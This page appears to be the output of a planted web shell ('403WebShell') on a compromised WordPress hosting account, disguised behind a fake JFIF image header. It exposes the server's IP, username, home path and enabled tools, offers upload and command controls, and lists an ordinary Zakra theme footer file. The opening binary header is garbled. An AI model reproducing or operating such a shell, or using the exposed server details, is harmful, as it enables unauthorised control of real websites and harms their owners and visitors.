????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/zakra/sidebar-footer.php
<?php
/**
 * The sidebar containing the footer widget area
 *
 * @link    https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package zakra
 */

if (
	! is_active_sidebar( 'footer-sidebar-1' ) &&
	! is_active_sidebar( 'footer-sidebar-2' ) &&
	! is_active_sidebar( 'footer-sidebar-3' ) &&
	! is_active_sidebar( 'footer-sidebar-4' )
) {
	return;
}

$zakra_footer_layout                = get_theme_mod( 'zakra_footer_column_layout', 'layout-1' );
$zakra_footer_column_layout_1_style = apply_filters(
	'zakra_footer_column_layout_1_style',
	get_theme_mod( 'zakra_footer_column_layout_1_style', 'style-4' )
);

$zakra_footer_column_layout_2__style = apply_filters(
	'zakra_footer_column_layout_2_style',
	get_theme_mod( 'zakra_footer_column_layout_12_style', 'style-12' )
);

$footer_sidebar_classes = apply_filters(
	'zakra_footer_sidebar_filter',
	array(
		'style-1' => array(
			'1',
		),
		'style-2' => array(
			'1',
			'2',
		),
		'style-3' => array(
			'1',
			'2',
			'3',
		),
		'style-4' => array(
			'1',
			'2',
			'3',
			'4',
		),
	)
);
?>

<?php
foreach ( $footer_sidebar_classes as $footer_sidebar_key => $footer_sidebar_class ) {
	if ( $footer_sidebar_key === $zakra_footer_column_layout_1_style && 'layout-1' === $zakra_footer_layout ) {
		zakra_footer_column_sidebar( $footer_sidebar_class );
	}

	if ( $footer_sidebar_key === $zakra_footer_column_layout_2__style && 'layout-2' === $zakra_footer_layout ) {
		zakra_footer_column_sidebar( $footer_sidebar_class );
	}
}

function zakra_footer_column_sidebar( $footer_sidebar_class ) {
	foreach ( $footer_sidebar_class as $footer_sidebar_display ) {
		?>
		<div class="zak-footer-col zak-footer-col--<?php echo esc_attr( $footer_sidebar_display ); ?>">
			<?php
			if ( is_active_sidebar( 'footer-sidebar-' . $footer_sidebar_display ) ) {
				dynamic_sidebar( 'footer-sidebar-' . $footer_sidebar_display );
			}
			?>
		</div>
		<?php
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit